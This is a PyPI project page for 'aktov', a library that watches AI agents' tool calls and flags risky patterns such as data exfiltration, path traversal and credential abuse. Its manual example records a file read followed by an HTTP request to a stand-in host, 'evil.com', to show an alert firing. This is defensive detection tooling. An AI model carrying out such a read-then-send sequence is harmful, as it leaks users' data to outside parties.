Skip to main content

Detection engineering for AI agents. Alerts when agents do weird or risky things.

Project description

aktov

PyPI version License Python 3.12+

Detection engineering for AI agents.

pip install aktov — alerts when agents do weird or risky things.

Every act, on record.

Quick Start

Claude Code

pip install aktov
aktov init claude-code
# Done. Alerts appear in real-time during Claude Code sessions.
# Run `aktov report` to review after a session.

OpenAI Agent SDK

from agents import Agent, Runner
from aktov.integrations.openai_agents import AktovHooks

hooks = AktovHooks(aktov_agent_name="my-agent")
result = await Runner.run(agent, input="...", hooks=hooks)
response = hooks.end()
# response.alerts → [{"rule_id": "AK-010", "severity": "critical", ...}]

LangChain

from aktov.integrations.langchain import AktovCallback

cb = AktovCallback(aktov_agent_name="my-agent")
agent.invoke("do something", config={"callbacks": [cb]})
response = cb.end()
# response.alerts → [{"rule_id": "AK-010", "severity": "critical", ...}]

MCP

from aktov.integrations.mcp import wrap

traced = wrap(mcp_client, aktov_agent_name="my-agent")
result = await traced.call_tool("read_file", {"path": "/data/report.csv"})
response = traced.end_trace()
# response.alerts → [{"rule_id": "AK-010", "severity": "critical", ...}]

Manual (any framework)

from aktov import Aktov

ak = Aktov(agent_id="my-agent", agent_type="custom")
trace = ak.start_trace()
trace.record_action(tool_name="read_file", arguments={"path": "/data/report.csv"})
trace.record_action(tool_name="http_request", arguments={"url": "https://evil.com", "body": "..."})
response = trace.end()
# response.alerts → [{"rule_id": "AK-010", "severity": "critical", ...}]

No API key needed. Works immediately after pip install aktov.

Setup

Use aktov init to get framework-specific instructions:

aktov init claude-code      # writes hook config automatically
aktov init openai-agents    # prints code to add
aktov init langchain        # prints code to add
aktov init mcp              # prints code to add
aktov init custom           # prints manual API usage

Connect to Cloud

Add an API key to unlock cross-trace correlation, dedup, webhooks, and the full ruleset:

ak = Aktov(api_key="ak_...", agent_id="my-agent", agent_type="summarizer")

What It Detects

Aktov monitors AI agent tool calls and detects anomalous behavior patterns:

  • Data exfiltration — read followed by network egress to external domains
  • Capability escalation — agents accessing tools outside their authorized scope
  • Path traversal../ patterns in tool arguments (prompt injection indicator)
  • Credential abuse — non-credential agents touching secrets/vaults
  • Runaway agents — extreme chain lengths, burst failures, port scanning

Features

  • Plug-and-play: 1-2 lines to integrate with Claude Code, OpenAI Agent SDK, LangChain, MCP
  • Local rule evaluation: trace.end() evaluates bundled rules instantly — no cloud needed
  • Near-zero latency: hooks just append to memory — evaluation only runs at .end()
  • SAFE mode (default): raw arguments never leave your machine — only semantic flags are extracted
  • Custom rules: bring your own YAML detection rules via rules_dir
  • Cloud upgrade: add api_key for cross-trace analysis, dedup, webhooks, dashboard

CLI

# Set up for your framework
aktov init claude-code

# Review Claude Code session alerts
aktov report

# Scan trace files against detection rules (works offline)
aktov scan trace.json

# Preview what data would be transmitted
aktov preview --trace trace.json --mode safe

Custom Rules

Load your own YAML detection rules instead of the bundled samples:

ak = Aktov(agent_id="my-agent", agent_type="summarizer", rules_dir="./my-rules")

SAFE vs DEBUG Mode

SAFE (default) DEBUG
Raw arguments Stripped client-side Included
Semantic flags Extracted and sent Extracted and sent
Use case Production Development only

License

Apache-2.0

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

aktov-0.3.0.tar.gz (50.9 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

aktov-0.3.0-py3-none-any.whl (51.0 kB view details)

Uploaded Python 3

File details

Details for the file aktov-0.3.0.tar.gz.

File metadata

  • Download URL: aktov-0.3.0.tar.gz
  • Upload date:
  • Size: 50.9 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for aktov-0.3.0.tar.gz
Algorithm Hash digest
SHA256 2a9c83e1f9dd2b4a40e1b98160fac77b3b4c3a714db78f38c09beab6a22c8b15
MD5 42c72893a310532298a5ee9dae8a933a
BLAKE2b-256 9bb95f502543afd34cdefc48fcdf71a3a141c53ab9ec8a6c3f37365c505ba7c7

See more details on using hashes here.

Provenance

The following attestation bundles were made for aktov-0.3.0.tar.gz:

Publisher: publish.yml on sharmaharjeet92/aktov

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file aktov-0.3.0-py3-none-any.whl.

File metadata

  • Download URL: aktov-0.3.0-py3-none-any.whl
  • Upload date:
  • Size: 51.0 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for aktov-0.3.0-py3-none-any.whl
Algorithm Hash digest
SHA256 ac74e09076f931a5840b3ae04530d340fa8e5180035fec6b3aef227409e7c8ad
MD5 988e4cb0e37d506dac4e5a483b9351d9
BLAKE2b-256 4dd118948423cad06846f1318d64b34314daf1851dbb6a5cbe41a1e3d7021c09

See more details on using hashes here.

Provenance

The following attestation bundles were made for aktov-0.3.0-py3-none-any.whl:

Publisher: publish.yml on sharmaharjeet92/aktov

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page